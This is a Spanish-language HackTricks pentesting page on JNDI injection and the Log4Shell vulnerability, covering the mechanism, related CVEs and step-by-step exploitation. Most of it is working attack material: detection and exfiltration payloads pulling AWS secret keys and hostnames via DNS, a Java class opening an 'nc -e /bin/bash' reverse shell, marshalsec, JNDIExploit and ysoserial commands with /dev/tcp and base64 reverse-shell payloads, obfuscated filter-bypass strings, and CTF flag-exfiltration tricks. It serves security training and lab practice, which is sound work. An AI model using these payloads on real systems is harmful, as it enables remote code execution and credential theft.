JNDI - Java Naming and Directory Interface & Log4Shell

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Try Hard Security Group


Información Básica

JNDI, integrado en Java desde finales de la década de 1990, sirve como un servicio de directorio, permitiendo a los programas Java localizar datos u objetos a través de un sistema de nombres. Admite varios servicios de directorio a través de interfaces de proveedor de servicios (SPI), lo que permite la recuperación de datos de diferentes sistemas, incluidos objetos Java remotos. Los SPI comunes incluyen CORBA COS, Registro de Java RMI y LDAP.

Referencia de Nombres JNDI

Los objetos Java se pueden almacenar y recuperar utilizando Referencias de Nombres JNDI, que se presentan en dos formas:

  • Direcciones de Referencia: Especifica la ubicación de un objeto (por ejemplo, rmi://servidor/ref), permitiendo la recuperación directa desde la dirección especificada.

  • Fábrica Remota: Hace referencia a una clase de fábrica remota. Cuando se accede, la clase se descarga e instancia desde la ubicación remota.

Sin embargo, este mecanismo puede ser explotado, lo que potencialmente lleva a la carga y ejecución de código arbitrario. Como medida de seguridad:

  • RMI: java.rmi.server.useCodeabseOnly = true de forma predeterminada desde JDK 7u21, restringiendo la carga de objetos remotos. Un Administrador de Seguridad limita aún más lo que se puede cargar.

  • LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false de forma predeterminada desde JDK 6u141, 7u131, 8u121, bloqueando la ejecución de objetos Java cargados de forma remota. Si se establece en true, la ejecución de código remoto es posible sin la supervisión de un Administrador de Seguridad.

  • CORBA: No tiene una propiedad específica, pero el Administrador de Seguridad siempre está activo.

Sin embargo, el Administrador de Nombres, responsable de resolver los enlaces JNDI, carece de mecanismos de seguridad integrados, lo que potencialmente permite la recuperación de objetos desde cualquier fuente. Esto representa un riesgo ya que las protecciones de RMI, LDAP y CORBA pueden ser eludidas, lo que lleva a la carga de objetos Java arbitrarios o a la explotación de componentes de aplicación existentes (gadgets) para ejecutar código malicioso.

Ejemplos de URLs explotables incluyen:

  • rmi://servidor-atacante/bar

  • ldap://servidor-atacante/bar

  • iiop://servidor-atacante/bar

A pesar de las protecciones, las vulnerabilidades persisten, principalmente debido a la falta de salvaguardias contra la carga de JNDI desde fuentes no confiables y la posibilidad de eludir las protecciones existentes.

Ejemplo de JNDI

Incluso si has establecido un PROVIDER_URL, puedes indicar uno diferente en una búsqueda y se accederá a él: ctx.lookup("<url-controlada-por-atacante>") y eso es lo que un atacante aprovechará para cargar objetos arbitrarios desde un sistema controlado por él.

Descripción General de CORBA

CORBA (Common Object Request Broker Architecture) emplea una Referencia de Objeto Interoperable (IOR) para identificar de forma única objetos remotos. Esta referencia incluye información esencial como:

  • ID de Tipo: Identificador único para una interfaz.

  • Codebase: URL para obtener la clase de stub.

Es importante destacar que CORBA no es inherentemente vulnerable. Asegurar la seguridad típicamente implica:

  • Instalación de un Administrador de Seguridad.

  • Configurar el Administrador de Seguridad para permitir conexiones a bases de código potencialmente maliciosas. Esto se puede lograr a través de:

  • Permiso de Socket, por ejemplo, permissions java.net.SocketPermission "*:1098-1099", "connect";.

  • Permisos de lectura de archivos, ya sea universalmente (permission java.io.FilePermission "<<ALL FILES>>", "read";) o para directorios específicos donde podrían colocarse archivos maliciosos.

Sin embargo, algunas políticas de proveedores pueden ser permisivas y permitir estas conexiones de forma predeterminada.

Contexto RMI

Para RMI (Invocación de Método Remoto), la situación es algo diferente. Al igual que con CORBA, la descarga arbitraria de clases está restringida de forma predeterminada. Para explotar RMI, típicamente se necesitaría eludir el Administrador de Seguridad, un logro también relevante en CORBA.

LDAP

En primer lugar, necesitamos distinguir entre una Búsqueda y una Consulta. Una búsqueda utilizará una URL como ldap://localhost:389/o=JNDITutorial para encontrar el objeto JNDITutorial de un servidor LDAP y recuperar sus atributos. Una consulta está destinada a servicios de nombres ya que queremos obtener lo que sea que esté enlazado a un nombre.

Si la búsqueda LDAP se invocó con SearchControls.setReturningObjFlag() con true, entonces el objeto devuelto será reconstruido.

Por lo tanto, hay varias formas de atacar estas opciones. Un atacante puede envenenar registros LDAP introduciendo payloads en ellos que se ejecutarán en los sistemas que los recopilan (muy útil para comprometer decenas de máquinas si se tiene acceso al servidor LDAP). Otra forma de explotar esto sería realizar un ataque de MitM en una búsqueda LDAP por ejemplo.

En caso de que puedas hacer que una aplicación resuelva una URL LDAP JNDI, puedes controlar el LDAP que se buscará, y podrías enviar de vuelta el exploit (log4shell).

Exploit de Deserialización

El exploit está serializado y será deserializado. En caso de que trustURLCodebase sea true, un atacante puede proporcionar sus propias clases en la base de código, de lo contrario, necesitará abusar de gadgets en el classpath.

Exploit de Referencia JNDI

Es más fácil atacar este LDAP usando referencias de JavaFactory:

Vulnerabilidad Log4Shell

La vulnerabilidad se introduce en Log4j porque admite una sintaxis especial en forma de ${prefijo:nombre} donde prefijo es uno de varios Lookups donde nombre debe evaluarse. Por ejemplo, ${java:version} es la versión actual de Java en ejecución.

LOG4J2-313 introdujo una característica de jndi Lookup. Esta característica permite la recuperación de variables a través de JNDI. Típicamente, la clave se prefiere automáticamente con java:comp/env/. Sin embargo, si la clave incluye un ":", este prefijo predeterminado no se aplica.

Con un : presente en la clave, como en ${jndi:ldap://ejemplo.com/a} no hay prefijo y se consulta al servidor LDAP para el objeto. Y estos Lookups se pueden utilizar tanto en la configuración de Log4j como al registrar líneas.

Por lo tanto, lo único necesario para obtener RCE es un versión vulnerable de Log4j procesando información controlada por el usuario. Y debido a que esta es una biblioteca ampliamente utilizada por aplicaciones Java para registrar información (incluidas las aplicaciones orientadas a Internet) era muy común tener log4j registrando, por ejemplo, cabeceras HTTP recibidas como el User-Agent. Sin embargo, log4j no se usa solo para registrar información HTTP sino cualquier entrada y datos que el desarrollador haya indicado.

Resumen de CVEs relacionados con Log4Shell

CVE-2021-44228 [Crítico]

Esta vulnerabilidad es una grave falla de deserialización no confiable en el componente log4j-core, afectando versiones desde 2.0-beta9 hasta 2.14.1. Permite la ejecución remota de código (RCE), lo que permite a los atacantes tomar el control de los sistemas. El problema fue reportado por Chen Zhaojun del Equipo de Seguridad de Alibaba Cloud y afecta varios frameworks de Apache. La corrección inicial en la versión 2.15.0 fue incompleta. Se encuentran disponibles reglas Sigma para la defensa (Regla 1, Regla 2).

CVE-2021-45046 [Crítico]

Inicialmente calificado como bajo pero luego actualizado a crítico, este CVE es una falla de Denegación de Servicio (DoS) resultante de una corrección incompleta en 2.15.0 para CVE-2021-44228. Afecta a configuraciones no predeterminadas, lo que permite a los atacantes causar ataques DoS a través de cargas manipuladas. Un tweet muestra un método de bypass. El problema se resuelve en las versiones 2.16.0 y 2.12.2 al eliminar los patrones de búsqueda de mensajes y deshabilitar JNDI de forma predeterminada.

Afectando a las versiones Log4j 1.x en configuraciones no predeterminadas que utilizan JMSAppender, este CVE es una falla de deserialización no confiable. No hay una corrección disponible para la rama 1.x, que ha llegado al final de su vida útil, y se recomienda actualizar a log4j-core 2.17.0.

CVE-2021-42550 [Moderado]

Esta vulnerabilidad afecta al framework de registro Logback, sucesor de Log4j 1.x. Anteriormente se creía que era seguro, pero se descubrió que el framework era vulnerable, y se han lanzado nuevas versiones (1.3.0-alpha11 y 1.2.9) para abordar el problema.

CVE-2021-45105 [Alto]

Log4j 2.16.0 contiene una falla de DoS, lo que llevó al lanzamiento de log4j 2.17.0 para solucionar el CVE. Más detalles se encuentran en el informe de BleepingComputer.

Afectando a la versión 2.17 de log4j, este CVE requiere que el atacante controle el archivo de configuración de log4j. Involucra una posible ejecución de código arbitrario a través de un JDBCAppender configurado. Se pueden encontrar más detalles en la publicación del blog de Checkmarx.

Explotación de Log4Shell

Descubrimiento

Esta vulnerabilidad es muy fácil de descubrir si no está protegida, ya que enviará al menos una solicitud DNS a la dirección que indiques en tu carga útil. Por lo tanto, cargas útiles como:

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a} (usando canarytokens.com)

  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh} (usando interactsh)

  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net} (usando Burp Suite)

  • ${jndi:ldap://2j4ayo.dnslog.cn} (usando dnslog)

  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520} usando (usando huntress)

Ten en cuenta que incluso si se recibe una solicitud DNS eso no significa que la aplicación sea explotable (o incluso vulnerable), deberás intentar explotarla.

Recuerda que para explotar la versión 2.15 necesitas agregar el bypass de verificación de localhost: ${jndi:ldap://127.0.0.1#...}

Descubrimiento Local

Busca versiones locales vulnerables de la biblioteca con:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

Verificación

Algunas de las plataformas mencionadas anteriormente te permitirán insertar datos variables que se registrarán cuando se soliciten. Esto puede ser muy útil para 2 cosas:

  • Para verificar la vulnerabilidad

  • Para exfiltrar información abusando de la vulnerabilidad

Por ejemplo, podrías solicitar algo como: o como ${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a} y si se recibe una solicitud DNS con el valor de la variable de entorno, sabrás que la aplicación es vulnerable.

Otra información que podrías intentar filtrar:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

Información de RCE

Los hosts que se ejecutan en versiones de JDK superiores a 6u141, 7u131 o 8u121 están protegidos contra el vector de ataque de carga de clases LDAP. Esto se debe a la desactivación predeterminada de com.sun.jndi.ldap.object.trustURLCodebase, que evita que JNDI cargue una base de código remota a través de LDAP. Sin embargo, es crucial tener en cuenta que estas versiones no están protegidas contra el vector de ataque de deserialización.

Para los atacantes que buscan explotar estas versiones de JDK superiores, es necesario aprovechar un gadget de confianza dentro de la aplicación Java. Herramientas como ysoserial o JNDIExploit se utilizan a menudo con este propósito. Por el contrario, explotar versiones de JDK inferiores es relativamente más fácil, ya que estas versiones se pueden manipular para cargar y ejecutar clases arbitrarias.

Para más información (como limitaciones en los vectores RMI y CORBA) consulte la sección anterior de Referencia de Nombres JNDI o https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/

RCE - Marshalsec con carga útil personalizada

Puedes probar esto en la caja THM: https://tryhackme.com/room/solar

Utiliza la herramienta marshalsec (versión jar disponible aquí). Este enfoque establece un servidor de referencia LDAP para redirigir conexiones a un servidor HTTP secundario donde se alojará el exploit:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

Para incitar al objetivo a cargar un código de shell inversa, crea un archivo Java llamado Exploit.java con el siguiente contenido:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Compila el archivo Java en un archivo de clase usando: javac Exploit.java -source 8 -target 8. A continuación, inicia un servidor HTTP en el directorio que contiene el archivo de clase con: python3 -m http.server. Asegúrate de que el servidor LDAP de marshalsec haga referencia a este servidor HTTP.

Desencadena la ejecución de la clase de exploit en el servidor web susceptible enviando un payload similar a:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Nota: Esta vulnerabilidad se basa en la configuración de Java para permitir la carga remota de código base a través de LDAP. Si esto no es permitido, considere explotar una clase de confianza para la ejecución de código arbitrario.

RCE - JNDIExploit

Tenga en cuenta que por alguna razón, el autor eliminó este proyecto de github después del descubrimiento de log4shell. Puede encontrar una versión en caché en https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 pero si desea respetar la decisión del autor, utilice un método diferente para explotar esta vulnerabilidad.

Además, no podrá encontrar el código fuente en el archivo de la máquina del pasado, por lo que deberá analizar el código fuente o ejecutar el archivo jar sabiendo que no sabe qué está ejecutando.

Para este ejemplo, simplemente puede ejecutar este servidor web vulnerable a log4shell en el puerto 8080: https://github.com/christophetd/log4shell-vulnerable-app (en el README encontrará cómo ejecutarlo). Esta aplicación vulnerable está registrando con una versión vulnerable de log4shell el contenido del encabezado de la solicitud HTTP X-Api-Version.

Luego, puede descargar el archivo jar de JNDIExploit y ejecutarlo con:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

Después de leer el código solo un par de minutos, en com.feihong.ldap.LdapServer y com.feihong.ldap.HTTPServer puedes ver cómo se crean los servidores LDAP y HTTP. El servidor LDAP entenderá qué carga útil debe servir y redirigirá a la víctima al servidor HTTP, que servirá el exploit. En com.feihong.ldap.gadgets puedes encontrar algunos gadgets específicos que se pueden utilizar para ejecutar la acción deseada (potencialmente ejecutar código arbitrario). Y en com.feihong.ldap.template puedes ver las diferentes clases de plantillas que generarán los exploits.

Puedes ver todos los exploits disponibles con java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Algunos útiles son:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

Entonces, en nuestro ejemplo, ya tenemos esa aplicación vulnerable de docker en ejecución. Para atacarla:

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Cuando envíes los ataques, verás alguna salida en la terminal donde ejecutaste JNDIExploit-1.2-SNAPSHOT.jar.

Recuerda verificar java -jar JNDIExploit-1.2-SNAPSHOT.jar -u para otras opciones de explotación. Además, en caso de necesitarlo, puedes cambiar el puerto de los servidores LDAP y HTTP.

RCE - JNDI-Exploit-Kit

De manera similar al exploit anterior, puedes intentar usar JNDI-Exploit-Kit para explotar esta vulnerabilidad. Puedes generar las URLs para enviar al objetivo ejecutando:

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Este ataque utilizando un objeto Java generado personalizado funcionará en laboratorios como la sala solar de THM. Sin embargo, esto generalmente no funcionará (ya que por defecto Java no está configurado para cargar una base de código remota utilizando LDAP) creo que porque no está abusando de una clase de confianza para ejecutar código arbitrario.

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus es otra herramienta para generar enlaces JNDI funcionales y proporcionar servicios de fondo iniciando un servidor RMI, un servidor LDAP y un servidor HTTP.\

RCE - ysoserial & JNDI-Exploit-Kit

Esta opción es realmente útil para atacar versiones de Java configuradas para confiar solo en clases especificadas y no en todos. Por lo tanto, ysoserial se utilizará para generar serializaciones de clases de confianza que pueden ser utilizadas como gadgets para ejecutar código arbitrario (la clase de confianza abusada por ysoserial debe ser utilizada por el programa Java víctima para que el exploit funcione).

Usando ysoserial o ysoserial-modified puedes crear el exploit de deserialización que será descargado por JNDI:

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Utiliza JNDI-Exploit-Kit para generar enlaces JNDI donde el exploit estará esperando conexiones de las máquinas vulnerables. Puedes servir diferentes exploits que pueden generarse automáticamente por el JNDI-Exploit-Kit o incluso tus propios payloads de deserialización (generados por ti o por ysoserial).

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Ahora puedes usar fácilmente un enlace JNDI generado para explotar la vulnerabilidad y obtener un shell inverso simplemente enviándolo a una versión vulnerable de log4j: ${ldap://10.10.14.10:1389/generated}

Saltos de seguridad

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

Escáneres Automáticos

Laboratorios para probar

Explotación Post-Log4Shell

En este writeup de CTF se explica bien cómo es potencialmente posible abusar algunas características de Log4J.

La página de seguridad de Log4j tiene algunas frases interesantes:

A partir de la versión 2.16.0 (para Java 8), la característica de búsqueda de mensajes ha sido eliminada por completo. Las búsquedas en la configuración siguen funcionando. Además, Log4j ahora deshabilita el acceso a JNDI de forma predeterminada. Las búsquedas de JNDI en la configuración ahora deben habilitarse explícitamente.

A partir de la versión 2.17.0 (y 2.12.3 y 2.3.1 para Java 7 y Java 6), solo las cadenas de búsqueda en la configuración se expanden de forma recursiva; en cualquier otro uso, solo se resuelve la búsqueda de nivel superior, y las búsquedas anidadas no se resuelven.

Esto significa que por defecto puedes olvidarte de usar cualquier exploit de jndi. Además, para realizar búsquedas recursivas necesitas tenerlas configuradas.

Por ejemplo, en ese CTF esto estaba configurado en el archivo log4j2.xml:

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Búsquedas de Env

En este CTF el atacante controlaba el valor de ${sys:cmd} y necesitaba exfiltrar la bandera de una variable de entorno. Como se ve en esta página en cargas útiles anteriores hay diferentes formas de acceder a variables de entorno, como: ${env:FLAG}. En este CTF esto fue inútil pero podría ser útil en otros escenarios de la vida real.

Exfiltración en Excepciones

En el CTF, no se podía acceder al stderr de la aplicación java usando log4J, pero las excepciones de Log4J se envían a stdout, lo cual se imprimía en la aplicación python. Esto significaba que al desencadenar una excepción podríamos acceder al contenido. Una excepción para exfiltrar la bandera fue: ${java:${env:FLAG}}. Esto funciona porque ${java:CTF{blahblah}} no existe y se mostrará una excepción con el valor de la bandera:

Patrones de Conversión en Excepciones

Solo para mencionarlo, también podrías inyectar nuevos patrones de conversión y desencadenar excepciones que se registrarán en stdout. Por ejemplo:

Esto no resultó útil para exfiltrar datos dentro del mensaje de error, porque la búsqueda no se resolvió antes del patrón de conversión, pero podría ser útil para otras cosas como la detección.

Patrones de Conversión Regex

Sin embargo, es posible usar algunos patrones de conversión que admiten regexes para exfiltrar información de una búsqueda usando regexes y abusando de comportamientos de búsqueda binaria o basados en el tiempo.

  • Búsqueda binaria a través de mensajes de excepción

El patrón de conversión %replace se puede usar para reemplazar contenido de una cadena incluso usando regexes. Funciona así: replace{patrón}{regex}{sustitución} Abusando de este comportamiento podrías hacer que el reemplazo desencadene una excepción si el regex coincide con algo dentro de la cadena (y no habrá excepción si no se encuentra) de esta manera:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Basado en el tiempo

Como se mencionó en la sección anterior, %replace admite regexes. Por lo tanto, es posible utilizar un payload de la página de ReDoS para causar un tiempo de espera en caso de que se encuentre la bandera. Por ejemplo, un payload como %replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} desencadenaría un tiempo de espera en ese CTF.

En este writeup, en lugar de usar un ataque ReDoS, se utilizó un ataque de amplificación para causar una diferencia de tiempo en la respuesta:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

Si la bandera comienza con flagGuess, toda la bandera se reemplaza con 29 #-s (usé este carácter porque probablemente no formaría parte de la bandera). Cada uno de los 29 #-s resultantes luego es reemplazado por 54 #-s. Este proceso se repite 6 veces, ¡lo que lleva a un total de 29*54*54^6* =`` ``96816014208 #-s!

Reemplazar tantos #-s desencadenará el tiempo de espera de 10 segundos de la aplicación Flask, lo que a su vez resultará en el envío del código de estado HTTP 500 al usuario. (Si la bandera no comienza con flagGuess, recibiremos un código de estado no 500)

Referencias

Try Hard Security Group

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización